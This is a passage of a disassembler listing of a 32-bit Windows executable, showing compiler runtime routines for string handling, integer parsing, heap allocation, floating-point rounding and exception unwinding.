		cmp	al, [ecx+2]
		jnz	short loc_415934
		or	al, al
		jz	short loc_415930
		cmp	ah, [ecx+3]
		jnz	short loc_415934
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415900
		mov	edi, edi


loc_415930:				; CODE XREF: sub_4158F0+18j
					; sub_4158F0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415934:				; CODE XREF: sub_4158F0+14j
					; sub_4158F0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41593C:				; CODE XREF: sub_4158F0+Ej
		test	edx, 1
		jz	short loc_415958
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415934
		inc	ecx
		or	al, al
		jz	short loc_415930
		test	edx, 2
		jz	short loc_415900


loc_415958:				; CODE XREF: sub_4158F0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415934
		or	al, al
		jz	short loc_415930
		cmp	ah, [ecx+1]
		jnz	short loc_415934
		or	ah, ah
		jz	short loc_415930
		add	ecx, 2
		jmp	short loc_415900
sub_4158F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415980	proc near		; CODE XREF: seg000:00401250p
					; sub_41AD1D+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_415999
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_415999:				; CODE XREF: sub_415980+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_415980	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159B4	proc near		; CODE XREF: sub_415A3F+4p
					; sub_41E142+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4159BC:				; CODE XREF: sub_4159B4+34j
		cmp	ds:dword_437F5C, 1
		jle	short loc_4159D4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_4159E3
; ---------------------------------------------------------------------------


loc_4159D4:				; CODE XREF: sub_4159B4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_437D50
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4159E3:				; CODE XREF: sub_4159B4+1Ej
		test	eax, eax
		jz	short loc_4159EA
		inc	edi
		jmp	short loc_4159BC
; ---------------------------------------------------------------------------


loc_4159EA:				; CODE XREF: sub_4159B4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4159FA
		cmp	esi, 2Bh
		jnz	short loc_4159FE


loc_4159FA:				; CODE XREF: sub_4159B4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4159FE:				; CODE XREF: sub_4159B4+44j
		xor	ebx, ebx


loc_415A00:				; CODE XREF: sub_4159B4+7Bj
		cmp	ds:dword_437F5C, 1
		jle	short loc_415A15
		push	4
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_415A20
; ---------------------------------------------------------------------------


loc_415A15:				; CODE XREF: sub_4159B4+53j
		mov	eax, ds:off_437D50
		mov	al, [eax+esi*2]
		and	eax, 4


loc_415A20:				; CODE XREF: sub_4159B4+5Fj
		test	eax, eax
		jz	short loc_415A31
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415A00
; ---------------------------------------------------------------------------


loc_415A31:				; CODE XREF: sub_4159B4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_415A3A
		neg	eax


loc_415A3A:				; CODE XREF: sub_4159B4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4159B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A3F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4159B4
		pop	ecx
		retn
sub_415A3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A4A	proc near		; CODE XREF: sub_401BD6+460p
					; seg000:004021D3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D2C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415A89
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415A96
; ---------------------------------------------------------------------------


loc_415A89:				; CODE XREF: sub_415A4A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_415A96:				; CODE XREF: sub_415A4A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415A4A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: sub_401BD6+2D8p
					; sub_401BD6+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415B1A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415B07


loc_415AB8:				; CODE XREF: sub_415AA0+52j
					; sub_415AA0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415ADA
		test	al, al
		jz	short loc_415AD4


loc_415AC9:				; CODE XREF: sub_415AA0+32j
		mov	al, [esi]
		inc	esi


loc_415ACC:				; CODE XREF: sub_415AA0+3Fj
		cmp	al, dl
		jz	short loc_415ADA
		test	al, al
		jnz	short loc_415AC9


loc_415AD4:				; CODE XREF: sub_415AA0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415ADA:				; CODE XREF: sub_415AA0+23j
					; sub_415AA0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415ACC
		lea	edi, [esi-1]


loc_415AE4:				; CODE XREF: sub_415AA0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415B13
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415AB8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415B13
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415AE4
		jmp	short loc_415AB8
; ---------------------------------------------------------------------------


loc_415B07:				; CODE XREF: sub_415AA0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417066
; ---------------------------------------------------------------------------


loc_415B13:				; CODE XREF: sub_415AA0+49j
					; sub_415AA0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415B1A:				; CODE XREF: sub_415AA0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B20	proc near		; CODE XREF: seg000:004021AEp
					; seg000:00405AE9p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415B35
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B6F
; ---------------------------------------------------------------------------


loc_415B35:				; CODE XREF: sub_415B20+Ej
		test	al, 83h
		jz	short loc_415B6D
		push	esi
		call	sub_4186C4
		push	esi
		mov	edi, eax
		call	sub_41865E
		push	dword ptr [esi+10h]
		call	sub_4185AB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B5B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B6D
; ---------------------------------------------------------------------------


loc_415B5B:				; CODE XREF: sub_415B20+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B6D
		push	eax
		call	sub_415E1D
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_415B6D:				; CODE XREF: sub_415B20+17j
					; sub_415B20+39j ...
		mov	eax, edi


loc_415B6F:				; CODE XREF: sub_415B20+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415B20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B76	proc near		; CODE XREF: seg000:004021A8p
					; seg000:0040F83Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_418796
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D2C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418823
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B76	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BA8	proc near		; CODE XREF: sub_415BC8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4189D0
		test	eax, eax
		jnz	short loc_415BB2
		retn
; ---------------------------------------------------------------------------


loc_415BB2:				; CODE XREF: sub_415BA8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418860
		add	esp, 10h
		retn
sub_415BA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BC8	proc near		; CODE XREF: seg000:0040216Ep
					; seg000:00406D56p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415BA8
		add	esp, 0Ch
		retn
sub_415BC8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_405B07+2BFp
					; sub_40998E+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C51
sub_415BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BF0	proc near		; CODE XREF: seg000:0040214Cp
					; seg000:0040215Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415C0C


loc_415BFD:				; CODE XREF: sub_415BF0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415C3F
		test	ecx, 3
		jnz	short loc_415BFD


loc_415C0C:				; CODE XREF: sub_415BF0+Bj
					; sub_415BF0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C0C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415C4E
		test	ah, ah
		jz	short loc_415C49
		test	eax, 0FF0000h
		jz	short loc_415C44
		test	eax, 0FF000000h
		jz	short loc_415C3F
		jmp	short loc_415C0C
; ---------------------------------------------------------------------------


loc_415C3F:				; CODE XREF: sub_415BF0+12j
					; sub_415BF0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C51
; ---------------------------------------------------------------------------


loc_415C44:				; CODE XREF: sub_415BF0+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C51
; ---------------------------------------------------------------------------


loc_415C49:				; CODE XREF: sub_415BF0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C51
; ---------------------------------------------------------------------------


loc_415C4E:				; CODE XREF: sub_415BF0+39j
		lea	edi, [ecx-4]


loc_415C51:				; CODE XREF: sub_415BE0+5j
					; sub_415BF0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C76


loc_415C5D:				; CODE XREF: sub_415BF0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415CC8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C5D
		jmp	short loc_415C76
; ---------------------------------------------------------------------------


loc_415C71:				; CODE XREF: sub_415BF0+9Ej
					; sub_415BF0+B8j
		mov	[edi], edx
		add	edi, 4


loc_415C76:				; CODE XREF: sub_415BF0+6Bj
					; sub_415BF0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C71
		test	dl, dl
		jz	short loc_415CC8
		test	dh, dh
		jz	short loc_415CBF
		test	edx, 0FF0000h
		jz	short loc_415CB2
		test	edx, 0FF000000h
		jz	short loc_415CAA
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415CAA:				; CODE XREF: sub_415BF0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CB2:				; CODE XREF: sub_415BF0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CBF:				; CODE XREF: sub_415BF0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CC8:				; CODE XREF: sub_415BF0+72j
					; sub_415BF0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415BF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CD0	proc near		; CODE XREF: seg000:004023A2p
					; seg000:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415CF0


loc_415CDC:				; CODE XREF: sub_415CD0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415D23
		test	ecx, 3
		jnz	short loc_415CDC
		add	eax, 0


loc_415CF0:				; CODE XREF: sub_415CD0+Aj
					; sub_415CD0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415CF0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415D41
		test	ah, ah
		jz	short loc_415D37
		test	eax, 0FF0000h
		jz	short loc_415D2D
		test	eax, 0FF000000h
		jz	short loc_415D23
		jmp	short loc_415CF0
; ---------------------------------------------------------------------------


loc_415D23:				; CODE XREF: sub_415CD0+11j
					; sub_415CD0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D2D:				; CODE XREF: sub_415CD0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D37:				; CODE XREF: sub_415CD0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D41:				; CODE XREF: sub_415CD0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D50	proc near		; CODE XREF: seg000:004024E4p
					; sub_402988+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D70


loc_415D5C:				; CODE XREF: sub_415D50+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D5C


loc_415D70:				; CODE XREF: sub_415D50+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D50	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D7F	proc near		; CODE XREF: sub_402FDD+7Ap
					; sub_402FDD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415D93


loc_415D8B:				; CODE XREF: sub_415D7F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415D8B


loc_415D93:				; CODE XREF: sub_415D7F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_415D98:				; CODE XREF: sub_415D7F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415D98
		pop	esi
		retn
sub_415D7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DA9	proc near		; CODE XREF: sub_403178+220p
					; sub_4033CB+C1p ...

arg_0		= dword	ptr  4

		push	ds:dword_4694D4
		push	[esp+4+arg_0]
		call	sub_415DBB
		pop	ecx
		pop	ecx
		retn
sub_415DA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DBB	proc near		; CODE XREF: sub_415DA9+Ap
					; sub_4167A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415DE4


loc_415DC2:				; CODE XREF: sub_415DBB+27j
		push	[esp+arg_0]
		call	sub_415DE7
		test	eax, eax
		pop	ecx
		jnz	short locret_415DE6
		cmp	[esp+arg_4], eax
		jz	short locret_415DE6
		push	[esp+arg_0]
		call	sub_418A48
		test	eax, eax
		pop	ecx
		jnz	short loc_415DC2


loc_415DE4:				; CODE XREF: sub_415DBB+5j
		xor	eax, eax

locret_415DE6:				; CODE XREF: sub_415DBB+13j
					; sub_415DBB+19j
		retn
sub_415DBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DE7	proc near		; CODE XREF: sub_415DBB+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_437F6C
		ja	short loc_415DFF
		push	esi
		call	sub_418E33
		test	eax, eax
		pop	ecx
		jnz	short loc_415E1B


loc_415DFF:				; CODE XREF: sub_415DE7+Bj
		test	esi, esi
		jnz	short loc_415E06
		push	1
		pop	esi


loc_415E06:				; CODE XREF: sub_415DE7+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap


loc_415E1B:				; CODE XREF: sub_415DE7+16j
		pop	esi
		retn
sub_415DE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E1D	proc near		; CODE XREF: sub_4033CB+10Ep
					; sub_4033CB+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415E4A
		push	esi
		call	sub_418ADD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E3C
		push	eax
		call	sub_418B08
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E3C:				; CODE XREF: sub_415E1D+13j
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421150	; RtlFreeHeap


loc_415E4A:				; CODE XREF: sub_415E1D+7j
		pop	esi
		retn
sub_415E1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E4C(double)

sub_415E4C	proc near		; CODE XREF: sub_40465E+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_437D10
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415ED2
		call	sub_419CCE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415EB5
		cmp	eax, 2
		jle	short loc_415EA7
		cmp	eax, 3
		jnz	short loc_415EB5
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4195DE
		add	esp, 10h
		jmp	short loc_415F17
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: sub_415E4C+3Fj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F17
; ---------------------------------------------------------------------------


loc_415EB5:				; CODE XREF: sub_415E4C+3Aj
					; sub_415E4C+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F0F
; ---------------------------------------------------------------------------


loc_415ED2:				; CODE XREF: sub_415E4C+2Fj
		call	sub_419C93
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415EF5


loc_415EE7:				; CODE XREF: sub_415E4C+ACj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F17
; ---------------------------------------------------------------------------


loc_415EF5:				; CODE XREF: sub_415E4C+99j
		test	bl, 20h
		jnz	short loc_415EE7
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415F0F:				; CODE XREF: sub_415E4C+84j
		call	sub_419631
		add	esp, 1Ch


loc_415F17:				; CODE XREF: sub_415E4C+59j
					; sub_415E4C+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F1B	proc near		; CODE XREF: sub_4177DA+9p
					; sub_419ECF+21p
					; DATA XREF: ...
		call	sub_415F33
		call	sub_419ECF
		mov	ds:dword_469454, eax
		call	sub_419E7F
		fnclex
		retn
sub_415F1B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F33	proc near		; CODE XREF: sub_415F1Bp
		mov	eax, offset sub_41A2BD
		mov	ds:off_43808C, offset sub_419F52
		mov	ds:off_438088, eax
		mov	ds:off_438090, offset sub_419FB8
		mov	ds:off_438094, offset sub_419EF8
		mov	ds:off_438098, offset sub_419FA0
		mov	ds:off_43809C, eax
		retn
sub_415F33	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F6C	proc near		; CODE XREF: sub_40465E+1Bp
					; sub_40465E+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415F93(double)

sub_415F93	proc near		; CODE XREF: sub_4046AA+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_437D28
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416019
		call	sub_419CCE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415FFC
		cmp	eax, 2
		jle	short loc_415FEE
		cmp	eax, 3
		jnz	short loc_415FFC
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4195DE
		add	esp, 10h
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_415FEE:				; CODE XREF: sub_415F93+3Fj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: sub_415F93+3Aj
					; sub_415F93+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416056
; ---------------------------------------------------------------------------


loc_416019:				; CODE XREF: sub_415F93+2Fj
		call	sub_419C93
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41603C


loc_41602E:				; CODE XREF: sub_415F93+ACj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_41603C:				; CODE XREF: sub_415F93+99j
		test	bl, 20h
		jnz	short loc_41602E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_416056:				; CODE XREF: sub_415F93+84j
		call	sub_419631
		add	esp, 1Ch


loc_41605E:				; CODE XREF: sub_415F93+59j
					; sub_415F93+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416062	proc near		; CODE XREF: sub_41A72E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_416062	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_416096	proc near		; CODE XREF: sub_41A8DF+199p
					; sub_41AAA3+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_416096	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41609D	proc near		; CODE XREF: sub_41A8DF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41609D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160A4	proc near		; CODE XREF: sub_416256+5Cp
					; sub_41A72E:loc_41A75Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160CC
		push	0
